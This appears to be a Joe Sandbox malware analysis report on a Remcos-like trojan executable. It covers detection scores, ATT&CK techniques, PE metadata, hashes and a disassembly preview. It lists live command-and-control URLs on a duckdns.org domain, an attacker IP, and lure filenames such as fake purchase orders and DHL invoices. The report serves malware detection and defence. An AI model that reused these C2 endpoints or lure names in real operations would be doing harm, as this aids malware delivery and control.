Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vOj00hEkoQ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 DLL Side-Loading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Obfuscated Files or Information	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	14 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vOj00hEkoQ.exe	77%	Virustotal		Browse
vOj00hEkoQ.exe	49%	Metadefender		Browse
vOj00hEkoQ.exe	58%	ReversingLabs	Win32.Trojan.Remcos
vOj00hEkoQ.exe	100%	Avira	TR/Agent.afak

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
aubromaterkiddie.duckdns.org	7%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.pregrad.netopenU	0%	Avira URL Cloud	safe
https://aubromaterkiddie.duckdns.org/S	100%	Avira URL Cloud	malware
http://www.emerge.de	0%	Virustotal		Browse
http://www.emerge.de	0%	Avira URL Cloud	safe
https://aubromaterkiddie.duckdns.org/typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm	100%	Avira URL Cloud	malware
http://www.pregrad.net	0%	Avira URL Cloud	safe
https://aubromaterkiddie.duckdns.org/typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsu	100%	Avira URL Cloud	malware
http://www.emerge.deDVarFileInfo$	0%	Avira URL Cloud	safe
https://aubromaterkiddie.duckdns.org/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
aubromaterkiddie.duckdns.org	208.67.105.81	true	true	7%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://aubromaterkiddie.duckdns.org/typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.pregrad.netopenU	vOj00hEkoQ.exe, 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.489464514.0000000005868000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.369993368.0000000005470000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.418411643.000000000586E000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.444314708.0000000005380000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.468202246.0000000005379000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.446198402.0000000005459000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.407097431.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.419436006.0000000005894000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.380813419.00000000047D4000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.490854963.0000000005867000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.388270798.0000000004688000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.456730184.0000000005481000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.467333094.0000000005480000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.461723377.0000000005498000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.373822199.0000000005374000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.371871713.000000000547C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.361939985.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.536696915.0000000000810000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.521065189.0000000005840000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aubromaterkiddie.duckdns.org/S	vOj00hEkoQ.exe, 00000000.00000003.534041371.00000000006E5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.emerge.de	vOj00hEkoQ.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.pregrad.net	vOj00hEkoQ.exe, vOj00hEkoQ.exe, 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.489464514.0000000005868000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.369993368.0000000005470000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.418411643.000000000586E000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.444314708.0000000005380000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.468202246.0000000005379000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.446198402.0000000005459000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.407097431.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.419436006.0000000005894000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.380813419.00000000047D4000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.490854963.0000000005867000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.388270798.0000000004688000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.456730184.0000000005481000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.467333094.0000000005480000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.461723377.0000000005498000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.373822199.0000000005374000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.371871713.000000000547C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.361939985.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.536696915.0000000000810000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aubromaterkiddie.duckdns.org/typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsu	vOj00hEkoQ.exe, 00000000.00000003.454813082.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.emerge.deDVarFileInfo$	vOj00hEkoQ.exe, 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.465785488.0000000004983000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.409891925.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.448677572.0000000004F86000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.400527616.0000000004780000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.399459326.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.378316634.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.492078319.000000000583C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.373258342.000000000540C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.511111350.0000000005838000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.496618464.0000000005828000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.447679692.0000000005554000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.492490085.0000000000729000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.562147869.00000000007E1000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.418411643.000000000586E000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.538463758.00000000007A1000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.560338618.00000000007E0000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.423477581.0000000005280000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.468202246.0000000005379000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.387394358.00000000047D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://aubromaterkiddie.duckdns.org/	vOj00hEkoQ.exe, 00000000.00000003.372603589.00000000006E5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.67.105.81	aubromaterkiddie.duckdns.org	United States		20042	GRAYSON-COLLIN-COMMUNICATIONSUS	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679209
Start date and time: 05/08/202212:09:19	2022-08-05 12:09:19 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	vOj00hEkoQ (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.winEXE@1/0@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 4
Cookbook Comments:	Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.54.89.106
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target vOj00hEkoQ.exe, PID 1328 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:10:26	API Interceptor	187x Sleep call for process: vOj00hEkoQ.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
208.67.105.81	PURCHASE.EXE	Get hash	malicious	Browse	ckrismaller.ydns.eu/pdoinypmpustomsspyheeueheheupoawrtopymopusgbtysom/Nxjctqqbvtegfocpfahjuczngtzoyfj
	Purchase-Order737883874.exe	Get hash	malicious	Browse	ckrismaller.ydns.eu/pdoinypmpustomsspyheeueheheupoawrtopymopusgbtysom/Xjdemxnrwxqhacioynbkmflxdvvslna
	Purchase-Order26453784839.exe	Get hash	malicious	Browse	timajskema.ydns.eu/dftypmpustomvdyyheeueheheupoawymopustysomsdsdddssy/Bpfixxlkevzjijfutnpgggvexxjjjun
	Quotation3276478378483.exe	Get hash	malicious	Browse	timajskema.ydns.eu/dftypmpustomvdyyheeueheheupoawymopustysomsdsdddssy/Nwllveirzoaedopstfietxpoyttcdxt
	SecuriteInfo.com.Variant.Zusy.434746.7045.exe	Get hash	malicious	Browse	timajskema.ydns.eu/dftypmpustomvdyyheeueheheupoawymopustysomsdsdddssy/Encbbbwaadszbtoilzhnuduxwptmulv
	Purchase Order3748347784.exe	Get hash	malicious	Browse	timajskema.ydns.eu/dftypmpustomvdyyheeueheheupoawymopustysomsdsdddssy/Jqvrqnkxmeauzlhssecktnzdntzaywx

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
aubromaterkiddie.duckdns.org	New-Order7393483843.xls.exe	Get hash	malicious	Browse	208.67.105.81
	PURCHASE.EXE	Get hash	malicious	Browse	208.67.105.81
	SecuriteInfo.com.W32.AIDetect.malware2.32576.exe	Get hash	malicious	Browse	208.67.105.81
	Purchase-Order83474373487.exe	Get hash	malicious	Browse	208.67.105.81
	Purchase-Order4973573579539.exe	Get hash	malicious	Browse	208.67.105.81
	Purchase-Order3483403.exe	Get hash	malicious	Browse	208.67.105.81

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GRAYSON-COLLIN-COMMUNICATIONSUS	83fQrG3RXY.exe	Get hash	malicious	Browse	208.67.104.97
	PURCHASE.EXE	Get hash	malicious	Browse	208.67.105.81
	UD5nwzaIY6.exe	Get hash	malicious	Browse	208.67.105.161
	InvoiceCopy2208.doc	Get hash	malicious	Browse	208.67.105.179
	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	Get hash	malicious	Browse	208.67.104.97
	PO#20220804#000000000000.Xlxs.exe	Get hash	malicious	Browse	208.67.105.125
	MAYBank-Payment-TT-Slip99484939399303003535355555-pdf.exe	Get hash	malicious	Browse	208.67.105.125
	DHL AWB AND INVOICE.exe	Get hash	malicious	Browse	208.67.105.125
	Kq3NeRJo14.exe	Get hash	malicious	Browse	208.67.104.97
	Doc513.exe	Get hash	malicious	Browse	208.67.106.111
	V82j5s0PJK.exe	Get hash	malicious	Browse	208.67.104.97
	BNcGYwatTl.exe	Get hash	malicious	Browse	208.67.104.97
	OntpEyqpFS.exe	Get hash	malicious	Browse	208.67.104.97
	6K0fYek9s4.exe	Get hash	malicious	Browse	208.67.104.97
	Quotation and Catalog .exe	Get hash	malicious	Browse	208.67.105.125
	bcY8ZtMBJ0.exe	Get hash	malicious	Browse	208.67.105.162
	Purchase-Order737883874.exe	Get hash	malicious	Browse	208.67.105.81
	Micro tunneling Drawings.pdf1.4MB.exe	Get hash	malicious	Browse	208.67.105.125
	MAYBank-Payment-TT-Slip99484939399303003535355555-pdf.exe	Get hash	malicious	Browse	208.67.105.125
	DHL DELIVERY DOCUMENT.exe	Get hash	malicious	Browse	208.67.105.125

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Original Shipment_Document.PDF.exe	Get hash	malicious	Browse	208.67.105.81
	VoRTaSs6hl.exe	Get hash	malicious	Browse	208.67.105.81
	TK6iBGp8Bn.exe	Get hash	malicious	Browse	208.67.105.81
	2OmglUwx83.exe	Get hash	malicious	Browse	208.67.105.81
	bE5aaTiJM0.exe	Get hash	malicious	Browse	208.67.105.81
	https://e44d0bcf771442d1b7f980fb69a85e9a.svc.dynamics.com/t/r/QxAD3OL-Kzz_3R2oEdDMSYxT1Y8B16o062ijyH6-f7Y	Get hash	malicious	Browse	208.67.105.81
	bP5g4FsSJk.exe	Get hash	malicious	Browse	208.67.105.81
	GI3I8IbuVE.exe	Get hash	malicious	Browse	208.67.105.81
	uGfpJynSWM.exe	Get hash	malicious	Browse	208.67.105.81
	3CzQDO1WLI.exe	Get hash	malicious	Browse	208.67.105.81
	ej2hDYMBXF.exe	Get hash	malicious	Browse	208.67.105.81
	0qlnWcmhSC.exe	Get hash	malicious	Browse	208.67.105.81
	http://www.malware-traffic-analysis.net/2018/02/16/index.html	Get hash	malicious	Browse	208.67.105.81
	SecuriteInfo.com.W32.AIDetectNet.01.19566.exe	Get hash	malicious	Browse	208.67.105.81
	SecuriteInfo.com.W32.AIDetectNet.01.19595.exe	Get hash	malicious	Browse	208.67.105.81
	RevisedSalesContractINV.html	Get hash	malicious	Browse	208.67.105.81
	SecuriteInfo.com.Trojan.MSIL.FormBook.IZFA.MTB.26806.exe	Get hash	malicious	Browse	208.67.105.81
	Q3 Bonus1.HTMl	Get hash	malicious	Browse	208.67.105.81
	bf.exe	Get hash	malicious	Browse	208.67.105.81
	Secured_angela.johnson_Audio_Message.htm	Get hash	malicious	Browse	208.67.105.81

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.96987317587864
TrID:	Win32 Executable (generic) a (10002005/4) 90.27% Win32 Executable Borland Delphi 7 (665061/41) 6.00% Win32 Executable Borland Delphi 6 (262906/60) 2.37% Windows ActiveX control (116523/4) 1.05% Win32 Executable Delphi generic (14689/80) 0.13%
File name:	vOj00hEkoQ.exe
File size:	1009664
MD5:	17e836d33b139295b876b1a3b6a23299
SHA1:	dc99e2695b030dcd66fff58e2fe1254c5ceffe21
SHA256:	3dd8bf8cb0353e84983445dded6e0a42427d5adce1bae358c3cc692793530615
SHA512:	f288da05f169db3dd1f7c2937b27374873f551f0c77813b7bf5266cc9241e333ffd1d7993b184ef6271d96606a64fc62a668fe4c506ad0d0d2265e924f004b48
SSDEEP:	24576:5DA1mchKTwkH17WtMBhiUDxvHiMYStUtVSn52pAf2rDNtl2aCHX:5Dhc8ZPbVI5Sn52KN
TLSH:	51259D21F6E24433C173377C5E5B46A59939BE103A78D88A3BE92D981FFD68178342C6
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	c49af2e8ece0e6c8

Static PE Info

General

Entrypoint:	0x4a3b74
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	205f6434858f3f8cc9e8b96d094507a2

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 004A38D4h
call 00007F17B4C106A1h
mov eax, dword ptr [004A587Ch]
mov eax, dword ptr [eax]
call 00007F17B4C713E1h
mov ecx, dword ptr [004A59E0h]
mov eax, dword ptr [004A587Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [004A0C1Ch]
call 00007F17B4C713E1h
mov eax, dword ptr [004A59E0h]
mov eax, dword ptr [eax]
call 00007F17B4C6DE55h
mov eax, dword ptr [004A587Ch]
mov eax, dword ptr [eax]
call 00007F17B4C71449h
call 00007F17B4C0E104h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa7000	0x27a4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb9000	0x43000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xac000	0xc1ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xab000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0xa2bc8	0xa2c00	False	0.5100101406490015	data	6.535344306379752	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xa4000	0x1aa4	0x1c00	False	0.42703683035714285	data	4.101220909917565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xa6000	0xef5	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa7000	0x27a4	0x2800	False	0.3671875	data	5.001062777293974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
